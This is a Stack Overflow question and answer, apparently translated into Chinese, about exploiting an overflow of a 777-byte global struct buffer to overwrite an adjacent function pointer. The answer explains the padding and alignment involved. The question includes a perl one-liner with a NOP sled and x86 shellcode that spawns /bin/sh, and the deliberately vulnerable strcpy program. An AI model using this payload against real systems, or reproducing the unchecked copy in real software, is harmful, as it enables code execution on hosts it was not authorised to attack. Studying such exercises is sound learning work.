2015-12-14 77 views
0

當試圖執行基本的堆攻擊時,我瞭解所有內容,除了輸入字符串的大小。以下代碼可以使用perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"'作爲該程序的參數。正在使用的shellcode長度爲21個字節。這裏總字符串的大小是785字節,這是777的緩衝區+4的東西,我不知道和4我們重寫的函數指針。堆溢出 - 堆的結構

我讀here的4個字節:

指針跟蹤堆類似堆棧

是我的假設是正確的堆棧指針的頂部?

#include <stdio.h> 
#include <unistd.h> 

void greetUser(char *s) { 
    printf("Hello %s!\n", s); 
} 

struct data_t { 
    char buf[777]; 
    void (*fp)(char *); 
} somedata; 

int main(int argc, char **argv) { 
    somedata.fp = &greetUser; 

    if(argc < 2) { 
    printf("Usage: %s YourName\n", argv[0]); 
    exit(1); 
    } 

    strcpy(somedata.buf, argv[1]); 
    (somedata.fp)(somedata.buf); 

    return 0; 
} 

回答

2

不,這是不正確的。 你只需要溢出784個字節:在64位系統

char buf[777];  // 777 bytes 
<padding>   // usually 7 bytes to have fp 8-byte-aligned 
void (*fp)(char *); // 8 bytes function pointer 

。在32位系統上,fp應該是4字節對齊的(因此fp在結構開始後開始780字節)

+0

你能解釋爲什麼上面的代碼工作(加上4個字節),而不是沒有4個字節? – Whitebird

+0

正如我所說的,前777個字節填充陣列buf [777]。接下來的3或7個字節(取決於您的體系結構)會覆蓋結構中的填充,這會正確地對齊指針fp。因爲數據未被使用,所以覆蓋填充完全沒有效果。最後,最後,複製的下一個字節覆蓋函數指針fp(4或8個字節,也取決於您是否使用ia32或ia64) – Ctx

+1

順便說一句,如果exploit真的起作用,我會感到驚訝,因爲strcpy停止複製第一個0字節(這是你的返回地址的第一個字節) – Ctx